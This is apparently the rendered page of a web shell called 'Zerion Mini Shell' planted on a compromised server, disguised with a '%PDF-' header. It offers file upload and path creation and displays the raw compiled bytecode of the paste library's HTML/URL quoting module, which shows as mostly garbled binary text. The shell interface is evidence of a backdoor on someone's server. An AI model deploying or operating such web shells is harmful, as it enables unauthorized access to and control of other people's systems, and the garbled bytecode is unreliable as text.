%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/paste/util/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/paste/util/__pycache__/quoting.cpython-37.pyc

B

b�N�	�@s�ddlZddlZddlZddlZdddddgZdZddd�Ze�d	�Zej	fd
d�Z
ddd�Zd
d�Zdd�Z
e�d�Ze�d�Zdd�ZejZejZedkr�ddlZe��dS)�N�
html_quote�html_unquote�	url_quote�url_unquote�
strip_htmlzUTF-8cCs`|pt}|dkrdSt|t�r*t�|d�St|t�rFt�|�|�d�St�t|��|�d�SdS)z�
    Quote the value (turned to a string) as HTML.  This quotes <, >,
    and quotes:

    >>> html_quote(1)
    '1'
    >>> html_quote(None)
    ''
    >>> html_quote('<hey!>')
    '&lt;hey!&gt;'
    >>> html_quote(u'\u1029')
    '\xe1\x80\xa9'
    N��)�default_encoding�
isinstance�str�cgi�escape�unicode�encode)�v�encoding�r�C/opt/alt/python37/lib/python3.7/site-packages/paste/util/quoting.pyrs

z
&([a-zA-Z]+);cCs*|�|�d��}|rt|�S|�d�SdS)Nrr)�get�group�unichr)�matchZname2c�coderrr�_entity_subber'srcCs0t|t�r$|dkrdS|�|p t�}t�t|�S)z�
    Decode the value.

    >>> html_unquote('&lt;hey&nbsp;you&gt;')
    u'<hey\xa0you>'
    >>> html_unquote('')
    u''
    >>> html_unquote('&blahblah;')
    u'&blahblah;'
    >>> html_unquote('\xe1\x80\xa9')
    u'\u1029'
    r)r
r�decoder	�_unquote_re�subr)�srrrrr.s

cCst�dd|�}t|�}|S)Nz<.*?>r)�rerr)rrrrrCscCs|S)z*
    Quoting that doesn't do anything
    r)rrrr�no_quoteIsrz\-\s*\>z[---]cCst|�}t�d|�}|S)z;
    Quote that makes sure text can't escape a comment
    z-&gt;)r�_comment_quote_rer)r�commentrrr�
comment_quoteRsr"�__main__)N)N)rZhtmlentitydefs�urllibr�__all__r	r�compilerZname2codepointrrrrr Z
_bad_chars_rer"�quoter�unquoter�__name__ZdoctestZtestmodrrrr�<module>s(






Zerion Mini Shell 1.0